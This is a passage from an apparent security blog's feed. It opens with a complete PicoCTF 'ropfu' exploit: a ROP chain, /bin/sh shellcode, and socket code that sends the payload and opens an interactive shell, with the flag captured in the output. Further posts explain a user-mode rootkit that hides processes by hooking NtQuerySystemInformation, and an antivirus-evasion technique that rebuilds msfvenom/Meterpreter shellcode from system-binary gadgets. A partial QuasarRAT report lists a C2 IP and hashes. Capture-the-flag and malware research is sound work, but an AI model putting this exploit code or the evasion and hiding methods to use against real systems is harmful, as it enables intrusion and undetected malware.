treated as the actual top of the stack i.e., the location where the code resides rather than as raw opcodes to execute the ROP chain.</p><p>The final result is:</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>def</span><span> </span><span>craftPayload</span><span>():</span></div></div><div><div><div>2</div></div><div><span><span>    </span></span><span>instruction </span><span>=</span><span> </span><span>b</span><span>"</span><span>\xFF\xE4</span><span>"</span><span>                       </span><span># jmp esp</span></div></div><div><div><div>3</div></div><div><span><span>    </span></span><span>padding </span><span>=</span><span> </span><span>b</span><span>"A"</span><span><span> </span><span>*</span><span> (</span></span><span>28</span><span><span> </span><span>-</span><span> </span></span><span>len</span><span>(instruction))</span></div></div><div><div><div>4</div></div><div>
</div></div><div><div><div>5</div></div><div><span>    </span><span># ROP Gadgets:</span></div></div><div><div><div>6</div></div><div><span>    </span><span># 0x0805333b : jmp eax</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>rop_chain   </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&lt;I"</span><span>, </span><span>0x</span><span>0805333b</span><span>)     </span><span># 0x0805333b : jmp eax</span></div></div><div><div><div>8</div></div><div>
</div></div><div><div><div>9</div></div><div><span><span>    </span></span><span>nop_slide </span><span>=</span><span> </span><span>b</span><span>"</span><span>\x90</span><span>"</span><span><span> </span><span>*</span><span> </span></span><span>100</span></div></div><div><div><div>10</div></div><div><span><span>    </span></span><span>shellcode </span><span>=</span><span> </span><span>b</span><span>'jhh///sh/bin</span><span>\x89\xe3</span><span>h</span><span>\x01\x01\x01\x01\x81</span><span>4$ri</span><span>\x01\x01</span><span>1</span><span>\xc9</span><span>Qj</span><span>\x04</span><span>Y</span><span>\x01\xe1</span><span>Q</span><span>\x89\xe1</span><span>1</span><span>\xd2</span><span>j</span><span>\x0b</span><span>X</span><span>\xcd\x80</span><span>'</span></div></div><div><div><div>11</div></div><div>
</div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>payload </span><span>=</span><span> padding </span><span>+</span><span> instruction </span><span>+</span><span> rop_chain </span><span>+</span><span> nop_slide </span><span>+</span><span> shellcode</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span>    </span><span>return</span><span> payload</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>Exploit<a href="#exploit"><span>#</span></a></h2><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>from</span><span> argparse </span><span>import</span><span> ArgumentParser</span></div></div><div><div><div>2</div></div><div><span>from</span><span> socket </span><span>import</span><span><span> </span><span>*</span></span></div></div><div><div><div>3</div></div><div><span>import</span><span> struct</span></div></div><div><div><div>4</div></div><div><span>import</span><span> time</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span>def</span><span> </span><span>craftPayload</span><span>(</span><span>shellcode_path</span><span>:</span><span> </span><span>str</span><span>):</span></div></div><div><div><div>7</div></div><div><span><span>    </span></span><span>instruction </span><span>=</span><span> </span><span>b</span><span>"</span><span>\xFF\xE4</span><span>"</span><span>                       </span><span># jmp esp</span></div></div><div><div><div>8</div></div><div><span><span>    </span></span><span>padding </span><span>=</span><span> </span><span>b</span><span>"A"</span><span><span> </span><span>*</span><span> (</span></span><span>28</span><span><span> </span><span>-</span><span> </span></span><span>len</span><span>(instruction))</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span>    </span><span># ROP Gadgets:</span></div></div><div><div><div>11</div></div><div><span>    </span><span># 0x0805333b : jmp eax</span></div></div><div><div><div>12</div></div><div><span><span>    </span></span><span>rop_chain   </span><span>=</span><span> struct.</span><span>pack</span><span>(</span><span>"&lt;I"</span><span>, </span><span>0x</span><span>0805333b</span><span>)     </span><span># 0x0805333b : jmp eax</span></div></div><div><div><div>13</div></div><div>
</div></div><div><div><div>14</div></div><div><span><span>    </span></span><span>nop_slide </span><span>=</span><span> </span><span>b</span><span>"</span><span>\x90</span><span>"</span><span><span> </span><span>*</span><span> </span></span><span>20</span></div></div><div><div><div>15</div></div><div><span><span>    </span></span><span>shellcode </span><span>=</span><span> </span><span>b</span><span>""</span></div></div><div><div><div>16</div></div><div><span>    </span><span>if</span><span><span> shellcode_path </span><span>==</span><span> </span></span><span>"builtin"</span><span>:</span></div></div><div><div><div>17</div></div><div><span><span>        </span></span><span>shellcode </span><span>=</span><span> </span><span>b</span><span>'jhh///sh/bin</span><span>\x89\xe3</span><span>h</span><span>\x01\x01\x01\x01\x81</span><span>4$ri</span><span>\x01\x01</span><span>1</span><span>\xc9</span><span>Qj</span><span>\x04</span><span>Y</span><span>\x01\xe1</span><span>Q</span><span>\x89\xe1</span><span>1</span><span>\xd2</span><span>j</span><span>\x0b</span><span>X</span><span>\xcd\x80</span><span>'</span></div></div><div><div><div>18</div></div><div><span>    </span><span>else</span><span>:</span></div></div><div><div><div>19</div></div><div><span><span>        </span></span><span>fp </span><span>=</span><span> </span><span>open</span><span>(shellcode_path, </span><span>"rb"</span><span>)</span></div></div><div><div><div>20</div></div><div><span><span>        </span></span><span>shellcode </span><span>=</span><span> fp.</span><span>read</span><span>()</span></div></div><div><div><div>21</div></div><div><span><span>        </span></span><span>fp.</span><span>close</span><span>()</span></div></div><div><div><div>22</div></div><div>
</div></div><div><div><div>23</div></div><div><span><span>    </span></span><span>payload </span><span>=</span><span> padding </span><span>+</span><span> instruction </span><span>+</span><span> rop_chain </span><span>+</span><span> nop_slide </span><span>+</span><span> shellcode</span></div></div><div><div><div>24</div></div><div>
</div></div><div><div><div>25</div></div><div><span>    </span><span>return</span><span> payload</span></div></div><div><div><div>26</div></div><div>
</div></div><div><div><div>27</div></div><div><span>def</span><span> </span><span>interactive</span><span>(</span><span>s</span><span>:</span><span> socket</span><span>):</span></div></div><div><div><div>28</div></div><div><span>    </span><span>while</span><span> </span><span>True</span><span>:</span></div></div><div><div><div>29</div></div><div><span><span>        </span></span><span>command </span><span>=</span><span> </span><span>input</span><span>(</span><span>"$ "</span><span>)</span></div></div><div><div><div>30</div></div><div><span>        </span><span>if</span><span><span> command.</span><span>strip</span><span>() </span><span>==</span><span> </span></span><span>"exit"</span><span>:</span></div></div><div><div><div>31</div></div><div><span>            </span><span>break</span></div></div><div><div><div>32</div></div><div><span><span>        </span></span><span>s.</span><span>send</span><span>(command.</span><span>encode</span><span>() </span><span>+</span><span> </span><span>b</span><span>"</span><span>\n</span><span>"</span><span>)</span></div></div><div><div><div>33</div></div><div><span><span>        </span></span><span>response </span><span>=</span><span> s.</span><span>recv</span><span>(</span><span>65535</span><span>)</span></div></div><div><div><div>34</div></div><div><span>        </span><span>print</span><span><span>(response.</span><span>decode</span><span>())</span></span></div></div><div><div><div>35</div></div><div>
</div></div><div><div><div>36</div></div><div><span>def</span><span> </span><span>exploit</span><span>(</span><span>target</span><span>:</span><span> </span><span>str</span><span>,</span><span><span> </span><span>port</span></span><span>:</span><span> </span><span>int</span><span>,</span><span><span> </span><span>shellcode_path</span></span><span>:</span><span> </span><span>str</span><span>):</span></div></div><div><div><div>37</div></div><div><span>    </span><span>print</span><span>(</span><span>"[~] Generating payload..."</span><span>)</span></div></div><div><div><div>38</div></div><div><span><span>    </span></span><span>payload </span><span>=</span><span> </span><span>craftPayload</span><span>(</span><span>str</span><span>(shellcode_path))</span></div></div><div><div><div>39</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[+] Payload has been generated."</span><span>)</span></div></div><div><div><div>40</div></div><div>
</div></div><div><div><div>41</div></div><div><span><span>    </span></span><span>s </span><span>=</span><span> </span><span>socket</span><span>(</span><span>AF_INET</span><span>, </span><span>SOCK_STREAM</span><span>)</span></div></div><div><div><div>42</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[~] Connecting to </span><span>{</span><span>target</span><span>}</span><span>:</span><span>{</span><span>port</span><span>}</span><span>..."</span><span>)</span></div></div><div><div><div>43</div></div><div><span><span>    </span></span><span>s.</span><span>connect</span><span>((target, port))</span></div></div><div><div><div>44</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[+] Connected to </span><span>{</span><span>target</span><span>}</span><span>:</span><span>{</span><span>port</span><span>}</span><span>."</span><span>)</span></div></div><div><div><div>45</div></div><div><span><span>    </span></span><span>time.</span><span>sleep</span><span>(</span><span>1</span><span>)</span></div></div><div><div><div>46</div></div><div><span><span>    </span></span><span>s.</span><span>recv</span><span>(</span><span>65535</span><span>)</span></div></div><div><div><div>47</div></div><div><span>    </span><span>print</span><span>(</span><span>f</span><span>"[~] Sending payload..."</span><span>)</span></div></div><div><div><div>48</div></div><div><span><span>    </span></span><span>s.</span><span>send</span><span>(payload </span><span>+</span><span> </span><span>b</span><span>"</span><span>\n</span><span>"</span><span>)</span></div></div><div><div><div>49</div></div><div>
</div></div><div><div><div>50</div></div><div><span>    </span><span>print</span><span>(</span><span>"[+] Payload sent successfully."</span><span>)</span></div></div><div><div><div>51</div></div><div><span>    </span><span>if</span><span><span> shellcode_path </span><span>==</span><span> </span></span><span>"builtin"</span><span>:</span></div></div><div><div><div>52</div></div><div><span>        </span><span>print</span><span>(</span><span>"[~] Spawning interactive shell..."</span><span>)</span></div></div><div><div><div>53</div></div><div><span><span>        </span></span><span>interactive</span><span>(s)</span></div></div><div><div><div>54</div></div><div><span><span>    </span></span><span>s.</span><span>close</span><span>()</span></div></div><div><div><div>55</div></div><div>
</div></div><div><div><div>56</div></div><div><span>if</span><span> </span><span>__name__</span><span><span> </span><span>==</span><span> </span></span><span>"__main__"</span><span>:</span></div></div><div><div><div>57</div></div><div><span><span>    </span></span><span>parser </span><span>=</span><span> </span><span>ArgumentParser</span><span>(</span></div></div><div><div><div>58</div></div><div><span>        </span><span>prog</span><span>=</span><span>"PicoCTF ropfu Exploit"</span><span>,</span></div></div><div><div><div>59</div></div><div><span>        </span><span>description</span><span>=</span><span>"Exploit for the PicoCTF ropfu challenge"</span><span>,</span></div></div><div><div><div>60</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>61</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>62</div></div><div><span>        </span><span>"-t"</span><span>, </span><span>"--target"</span><span>,</span></div></div><div><div><div>63</div></div><div><span>        </span><span>required</span><span>=</span><span>True</span><span>,</span></div></div><div><div><div>64</div></div><div><span>        </span><span>help</span><span>=</span><span>"set target IP or URL address"</span><span>,</span></div></div><div><div><div>65</div></div><div><span>        </span><span>type</span><span>=</span><span>str</span></div></div><div><div><div>66</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>67</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>68</div></div><div><span>        </span><span>"-p"</span><span>, </span><span>"--port"</span><span>,</span></div></div><div><div><div>69</div></div><div><span>        </span><span>required</span><span>=</span><span>True</span><span>,</span></div></div><div><div><div>70</div></div><div><span>        </span><span>help</span><span>=</span><span>"set target port"</span><span>,</span></div></div><div><div><div>71</div></div><div><span>        </span><span>type</span><span>=</span><span>int</span></div></div><div><div><div>72</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>73</div></div><div><span><span>    </span></span><span>parser.</span><span>add_argument</span><span>(</span></div></div><div><div><div>74</div></div><div><span>        </span><span>"-s"</span><span>, </span><span>"--shellcode"</span><span>,</span></div></div><div><div><div>75</div></div><div><span>        </span><span>required</span><span>=</span><span>False</span><span>,</span></div></div><div><div><div>76</div></div><div><span>        </span><span>help</span><span>=</span><span>"set path to shellcode file"</span><span>,</span></div></div><div><div><div>77</div></div><div><span>        </span><span>type</span><span>=</span><span>str</span><span>,</span></div></div><div><div><div>78</div></div><div><span>        </span><span>default</span><span>=</span><span>"builtin"</span></div></div><div><div><div>79</div></div><div><span><span>    </span></span><span>)</span></div></div><div><div><div>80</div></div><div>
</div></div><div><div><div>81</div></div><div><span><span>    </span></span><span>args </span><span>=</span><span> parser.</span><span>parse_args</span><span>()</span></div></div><div><div><div>82</div></div><div>
</div></div><div><div><div>83</div></div><div><span><span>    </span></span><span>TARGET_HOST</span><span> : </span><span>str</span><span><span>       </span><span>=</span><span> </span></span><span>str</span><span>(args.target)</span></div></div><div><div><div>84</div></div><div><span><span>    </span></span><span>TARGET_PORT</span><span> : </span><span>int</span><span><span>       </span><span>=</span><span> </span></span><span>int</span><span>(args.port)</span></div></div><div><div><div>85</div></div><div><span><span>    </span></span><span>SHELLCODE_PATH</span><span> : </span><span>str</span><span><span>    </span><span>=</span><span> </span></span><span>str</span><span>(args.shellcode)</span></div></div><div><div><div>86</div></div><div><span><span>    </span></span><span>exploit</span><span>(</span><span>TARGET_HOST</span><span>, </span><span>TARGET_PORT</span><span>, </span><span>SHELLCODE_PATH</span><span>)</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div></section>
<section><h2>The End<a href="#the-end"><span>#</span></a></h2><p>I tried to build a ROP chain for the first time without a plan, and ended up spending 3 days analyzing the same problem. On the 2nd day I did look at other people’s writeups but couldn’t understand them, which dragged the work into the 3rd day. In the end I finally understood why a <code>JMP ESP</code> is injected as opcodes and then a <code>JMP EAX</code> ROP chain is required.</p></section>
<section><h2>Result<a href="#result"><span>#</span></a></h2><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>Show more</span><span>Show less</span></figcaption><pre><code><div><div><div>1</div></div><div><span>therustymate-picoctf@webshell:~$</span><span> </span><span>python3</span><span> </span><span>exploit.py</span><span> </span><span>-t</span><span> </span><span>saturn.picoctf.net</span><span> </span><span>-p</span><span> </span><span>63366</span></div></div><div><div><div>2</div></div><div><span>[~] Generating payload...</span></div></div><div><div><div>3</div></div><div><span>[+] Payload has been generated.</span></div></div><div><div><div>4</div></div><div><span>[~] Connecting to saturn.picoctf.net:63366...</span></div></div><div><div><div>5</div></div><div><span>[+] Connected to saturn.picoctf.net:63366.</span></div></div><div><div><div>6</div></div><div><span>[~] Sending payload...</span></div></div><div><div><div>7</div></div><div><span>[+] Payload sent successfully.</span></div></div><div><div><div>8</div></div><div><span>[~] Spawning interactive shell...</span></div></div><div><div><div>9</div></div><div><span>$</span><span> </span><span>ls</span></div></div><div><div><div>10</div></div><div><span>flag.txt</span></div></div><div><div><div>11</div></div><div><span>vuln</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span>$</span><span> </span><span>cat</span><span> </span><span>flag.txt</span></div></div><div><div><div>14</div></div><div><span>picoCTF</span><span>{5n47ch_7h3_5h311_4cbbb771}</span></div></div><div><div><div>15</div></div><div><span>$</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>Show more</span><span>Show less</span></div></div><p>Flag: <code>picoCTF{5n47ch_7h3_5h311_4cbbb771}</code></p></section>]]></content>
    </entry>
    <entry>
      <id>https://therustymate.com/posts/2025-10-25-poc_ring3_rootkit_development/2025-10-25-poc_ring3_rootkit_development/</id>
      <title type="text">PoC Ring3 RootKit Development</title>
      <published>2025-10-25T00:00:00.000Z</published>
      <updated>2025-10-25T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2025-10-25-poc_ring3_rootkit_development/2025-10-25-poc_ring3_rootkit_development/"/>
      <summary type="text">PoC Ring3 (User Mode) RootKit Development</summary>
      <content type="html"><![CDATA[<a href="https://github.com/therustymate/0x9C" target="_blank"><div><div><div><div></div><div>therustymate</div></div><div>/</div><div>0x9C</div></div><div></div></div><div>PoC Ring3 RootKit | 0x9C - ERROR_SIGNAL_REFUSED</div><div><div>—</div><div>—</div><div>no-license</div><span>C++</span></div></a>
<section><h2>YouTube<a href="#youtube"><span>#</span></a></h2></section>
<section><h2>Disclaimer<a href="#disclaimer"><span>#</span></a></h2><p>This document and all associated materials are provided strictly for <strong>legitimate security research, education, and authorized antivirus detection capability testing purposes only.</strong>
The techniques and concepts described herein involve advanced software security, malware analysis, and development methods, and <strong>any unauthorized use, reproduction, distribution, or malicious deployment against systems without explicit permission is strictly prohibited.</strong></p><p>By accessing and utilizing this material, you acknowledge and agree to comply with all applicable laws and regulations,
and to obtain proper authorization before conducting any security testing or research activities.</p><p>The author and affiliated parties <strong>expressly disclaim all legal liability and responsibility for any misuse, unauthorized actions, or damages arising from the use of this information.</strong></p><p>Furthermore, this research was conducted to study current antivirus detection limitations, develop evasion techniques for educational purposes, and enhance cybersecurity expertise.
The disclosure of this technology is purely for advancing the security industry and academic research.</p><p>Therefore, all risks, legal responsibilities, and consequences resulting from the use or misuse of this document rest solely with the user.
The author and related parties are fully indemnified from any direct or indirect damages.</p><p>By reading or using this document, you are deemed to have accepted all the above conditions.</p></section>
<section><h2>How does a user mode rootkit work?<a href="#how-does-a-user-mode-rootkit-work"><span>#</span></a></h2><p>A user-mode rootkit typically works by injecting a DLL (Dynamic Link Library) into the target process, hooking the APIs that the process calls, and removing specific information from the actual return values.
Rootkits mainly hide information about processes, network activity, files, the registry, etc., to avoid detection.</p></section>
<section><h2>How to hide a process information?<a href="#how-to-hide-a-process-information"><span>#</span></a></h2><p>The <code>NtQuerySystemInformation</code> API is a Windows native API that returns information about the processes present on the system.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>__kernel_entry</span><span> </span><span>NTSTATUS</span><span> </span><span>NtQuerySystemInformation</span><span>(</span></div></div><div><div><div>2</div></div><div><span><span>  </span></span><span>[</span><span>in</span><span>]            SYSTEM_INFORMATION_CLASS SystemInformationClass,</span></div></div><div><div><div>3</div></div><div><span><span>  </span></span><span>[in, out]       PVOID                    SystemInformation,</span></div></div><div><div><div>4</div></div><div><span><span>  </span></span><span>[in]            ULONG                    SystemInformationLength,</span></div></div><div><div><div>5</div></div><div><span><span>  </span></span><span>[out, optional] PULONG                   ReturnLength</span></div></div><div><div><div>6</div></div><div><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>NTSTATUS</span><span> </span><span>NTAPI</span><span> </span><span>Hooked_NtQuerySystemInformation</span><span>(</span></div></div><div><div><div>2</div></div><div><span>    </span><span>ULONG</span><span> </span><span>SystemInformationClass</span><span>,</span></div></div><div><div><div>3</div></div><div><span>    </span><span>PVOID</span><span> </span><span>SystemInformation</span><span>,</span></div></div><div><div><div>4</div></div><div><span>    </span><span>ULONG</span><span> </span><span>SystemInformationLength</span><span>,</span></div></div><div><div><div>5</div></div><div><span>    </span><span>PULONG</span><span> </span><span>ReturnLength</span></div></div><div><div><div>6</div></div><div><span>);</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><code>SystemInformation</code> (of type PVOID) returns information about processes.
You can cast it to the existing <code>PSYSTEM_PROCESS_INFORMATION</code> type and, from each process entry, read the process name via <code>ImageName.Buffer</code> (a <code>PWCHAR</code> inside a <code>UNICODE_STRING</code>).
Using that, you can filter out specific process names from the process list and return the filtered result.
So when a DLL-injected process calls <code>NtQuerySystemInformation</code>, it will not see those filtered process names.</p></section>
<section><h2>How to hook a function?<a href="#how-to-hook-a-function"><span>#</span></a></h2><p>The <code>Detours</code> library is a Windows library that enables hooking specific functions. Using it, you can hook native APIs and modify their results or record (log) them.</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>vcpkg</span><span> </span><span>install</span><span> </span><span>detours</span></div></div><div><div><div>2</div></div><div><span>vcpkg</span><span> </span><span>integrate</span><span> </span><span>install</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>Using the <code>vcpkg</code> tool, you can automatically include C++ header files and library files in <code>Visual Studio 2022</code>. In the case of <code>Detours</code>, the header file is located at <code>detours/detours.h</code>.</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>#include</span><span> </span><span>&lt;detours/detours.h&gt;</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section>
<section><h2>How to make a user mode rootkit?<a href="#how-to-make-a-user-mode-rootkit"><span>#</span></a></h2><p>The completed DLL source code is as follows:</p><p>[REDACTED]</p><p>The code iterates through the process information using <code>NextEntryOffset</code> when handling the hooked function. It compares <code>ImageName.Buffer</code> with the target process name, and if they match, it manipulates <code>NextEntryOffset</code> to remove the entry from the list so it links directly to the next process. (Current target process name is <code>Notepad.exe</code>. Change the <code>TARGET_PROCESS</code> value to set the target process to hide)</p></section>
<section><h2>Conclusion<a href="#conclusion"><span>#</span></a></h2><p>In conclusion, the user-mode rootkit is injected into the target process as a DLL. After injection it hooks <code>NtQuerySystemInformation</code>, examines <code>ImageName.Buffer</code> in the <code>PSYSTEM_PROCESS_INFORMATION</code> structure, and if it matches a process that should be hidden, it modifies <code>NextEntryOffset</code> to remove that process from the list and link directly to the next entry to prevent the process from being seen.</p></section>]]></content>
    </entry>
    <entry>
      <id>https://therustymate.com/posts/2025-10-20-ngp/2025-10-20-ngp/</id>
      <title type="text">NGP - Native Gadget Programming</title>
      <published>2025-10-20T00:00:00.000Z</published>
      <updated>2025-10-20T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2025-10-20-ngp/2025-10-20-ngp/"/>
      <summary type="text">NGP - Native Gadget Programming | New Shellcode Execution Method</summary>
      <content type="html"><![CDATA[<a href="https://github.com/therustymate/NGP" target="_blank"><div><div><div><div></div><div>therustymate</div></div><div>/</div><div>NGP</div></div><div></div></div><div>NGP - Native Gadget Programming</div><div><div>—</div><div>—</div><div>MIT</div><span>Python</span></div></a>
<section><h2>Disclaimer<a href="#disclaimer"><span>#</span></a></h2><p>This document and all associated materials are provided strictly for <strong>legitimate security research, education, and authorized antivirus detection capability testing purposes only.</strong>
The techniques and concepts described herein involve advanced software security, malware analysis, and development methods, and <strong>any unauthorized use, reproduction, distribution, or malicious deployment against systems without explicit permission is strictly prohibited.</strong></p><p>By accessing and utilizing this material, you acknowledge and agree to comply with all applicable laws and regulations,
and to obtain proper authorization before conducting any security testing or research activities.</p><p>The author and affiliated parties <strong>expressly disclaim all legal liability and responsibility for any misuse, unauthorized actions, or damages arising from the use of this information.</strong></p><p>Furthermore, this research was conducted to study current antivirus detection limitations, develop evasion techniques for educational purposes, and enhance cybersecurity expertise.
The disclosure of this technology is purely for advancing the security industry and academic research.</p><p>Therefore, all risks, legal responsibilities, and consequences resulting from the use or misuse of this document rest solely with the user.
The author and related parties are fully indemnified from any direct or indirect damages.</p><p>By reading or using this document, you are deemed to have accepted all the above conditions.</p></section>
<section><h2>NGP Operation Principle<a href="#ngp-operation-principle"><span>#</span></a></h2><p><strong>NGP</strong>, or <strong>Native Gadget Programming</strong>, is a novel technique designed to execute shellcode without embedding the actual shellcode within the shellcode dropper.
This technology leverages byte fragments from binaries already present on the system to <strong>reconstruct and execute shellcode in memory</strong>, effectively evading antivirus detection.</p></section>
<section><h2>Youtube<a href="#youtube"><span>#</span></a></h2></section>
<section><h2>NGP PoC<a href="#ngp-poc"><span>#</span></a></h2><p>The NGP repository contains <strong>ngp.py</strong> (a shellcode compiler) and <strong>NGP Dropper.cpp</strong> (a shellcode loader).</p><p><code>ngp.py</code> scans all EXE, DLL, and SYS files inside a user-specified folder and searches those files for so-called “gadgets” — chunks that match parts of the shellcode. Using these, the shellcode loader avoids containing the actual shellcode; it instead automatically loads those gadgets (or chunks) so as to evade static analysis by AV software.</p><p>Below is how to produce actual shellcode metadata.</p><ol>
<li>
<p>First, generate and save the shellcode you plan to load using <code>msfvenom</code> or another C2 framework (Havoc, Mythic, etc.).</p>
</li>
<li>
<p>If you are not using a Windows host, copy random DLL, EXE, and SYS files from a Windows system into a specific directory, or run the compiler inside a Windows VM. On Windows you can use the System32 folder or other third-party programs.</p>
</li>
<li>
<p>Compile the shellcode into metadata with <code>ngp.py</code> using a command like:</p>
<div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>python3</span><span> </span><span>ngp.py</span><span> </span><span>-t</span><span> </span><span>"shellcode.bin"</span><span> </span><span>-p</span><span> </span><span>"C:\Windows\System32"</span><span> </span><span>-o</span><span> </span><span>"output.json"</span></div></div></code></pre><div><div></div><div></div></div></figure></div>
<p>Here <code>shellcode.bin</code> should be the binary shellcode produced by an external C2 framework. <code>C:\Windows\System32</code> can be replaced with another folder. The <code>-o</code> option specifies where to save the output.</p>
</li>
<li>
<p>If the hash of the original shellcode matches the hash in the metadata, you have successfully generated shellcode metadata. Now compile <code>NGP Dropper.cpp</code> and provide the output JSON file as an argument to the binary — it will regenerate the shellcode automatically.</p>
</li>
</ol><p>The NGP compiler is highly sensitive to program versions. If the version of the files used by the metadata changes, it may fail to work correctly. However, this also forces a malware analyst to analyze 100% identical file versions in order to fully analyze the malware.</p><p>So far, we successfully mapped the default Meterpreter shellcode produced by <code>msfvenom</code> from System32, and tested memory loading and remote host connecting successfully. In theory, DLL files can also be mapped in addition to shellcode. Additionally, we successfully generated shellcode metadata using an unspecified version of WeChat. This experimentally demonstrates that gadgets from system files as well as from other third-party software can be used to load shellcode.</p></section>]]></content>
    </entry>
    <entry>
      <id>https://therustymate.com/posts/2025-06-10-mal-250610-01-01/</id>
      <title type="text">MAL-250610-01-01</title>
      <published>2025-06-10T00:00:00.000Z</published>
      <updated>2025-06-10T00:00:00.000Z</updated>
      <author><name>therustymate</name></author>
      <link rel="alternate" href="https://therustymate.com/posts/2025-06-10-mal-250610-01-01/"/>
      <summary type="text">QuasarRAT BlackBox Malware Analysis</summary>
      <content type="html"><![CDATA[

<table><thead><tr><th>Metadata</th><th>Information</th></tr></thead><tbody><tr><td>Report ID</td><td>MAL-250610-01-01</td></tr><tr><td>Incident Date</td><td>Unknown</td></tr><tr><td>Report Date</td><td>2025-06/10</td></tr><tr><td>Malware Name</td><td>QuasarRAT</td></tr><tr><td>Version</td><td>01</td></tr><tr><td>Analyst</td><td>@therustymate</td></tr><tr><td>Organization</td><td>Private</td></tr><tr><td>Severity</td><td>Critical</td></tr><tr><td>Status</td><td>Public/Draft</td></tr><tr><td>Malware Type</td><td>RAT</td></tr><tr><td>Detection Date</td><td>2025-06-10 00:20&lt;15&gt; UTC</td></tr><tr><td>Affected Systems</td><td>Windows/Home</td></tr><tr><td>CVE</td><td>N/A</td></tr><tr><td>Tags</td><td>Backdoor</td></tr></tbody></table>
<section><h2>Incident Metadata<a href="#incident-metadata"><span>#</span></a></h2>

<table><thead><tr><th>Metadata</th><th>Information</th></tr></thead><tbody><tr><td>Command &amp; Control (C2) Server</td><td>185.244.29[.]181&lt;1604&gt;</td></tr><tr><td>Indicators of Compromise</td><td>185.244.29[.]181&lt;1604&gt;</td></tr><tr><td>Infection Vector</td><td>Download</td></tr><tr><td>Persistence Mechanisms</td><td>NYA</td></tr><tr><td>Payload Description</td><td>Backdoor</td></tr><tr><td>Network Behavior</td><td>C2 Connection &amp; Communcation</td></tr></tbody></table></section>
<section><h2>File Names<a href="#file-names"><span>#</span></a></h2>

<table><thead><tr><th>File Name</th><th>Size</th></tr></thead><tbody><tr><td>edf5ee6173907a5c75650016186ea5a8.exe</td><td>514’048 bytes</td></tr></tbody></table></section>
<section><h2>Hashes<a href="#hashes"><span>#</span></a></h2>

<table><thead><tr><th>File Name</th><th>Hash Type</th><th>Hash</th></tr></thead><tbody><tr><td>edf5ee6173907a5c75650016186ea5a8.exe</td><td>MD5</td><td>edf5ee6173907a5c75650016186ea5a8</td></tr><tr><td></td><td>SHA1</td><td>8dabd536d13a57364812eb9c8d413c50b8788b8e</td></tr><tr><td></td><td>SHA256</td><td>cd425ba34aa2ac7f31b6c498b09780cd7bacb7d7826cdc119fd6a35e95ee8700</td></tr><tr><td></td><td></td><td></td></tr></tbody></table></section>
<section><h2>References<a href="#references"><span>#</span></a></h2><p><strong>!!!WARNING!!!</strong> Some references may not be fully reliable.</p>

<table><thead><tr><th>Title</th><th>Link</th></tr></thead><tbody><tr><td>MalwareBazaar</td><td><a href="https://bazaar.abuse.ch/sample/cd425ba34aa2ac7f31b6c498b09780cd7bacb7d7826cdc119fd6a35e95ee8700/" target="_blank">here</a></td></tr></tbody></table></section>
<section><h1>Blackbox Analysis<a href="#blackbox-analysis"><span>#</span></a></h1><p>Anyrun URL: <a href="https://app.any.run/tasks/7fcb71c2-1a6c-4bfd-99e1-9aaaaa2490bd" target="_blank">https://app.any.run/tasks/7fcb71c2-1a6c-4bfd-99e1-9aaaaa2490bd</a></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>0047e7ae    int32_t _CorExeMain()</span></div></div><div><div><div>2</div></div><div><span>0047e7ae  return _CorExeMain() __tailcall</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>I confirmed the presence of a tailcall to <code>_CorExeMain()</code> at the program’s entry point using <code>Binary Ninja</code>.
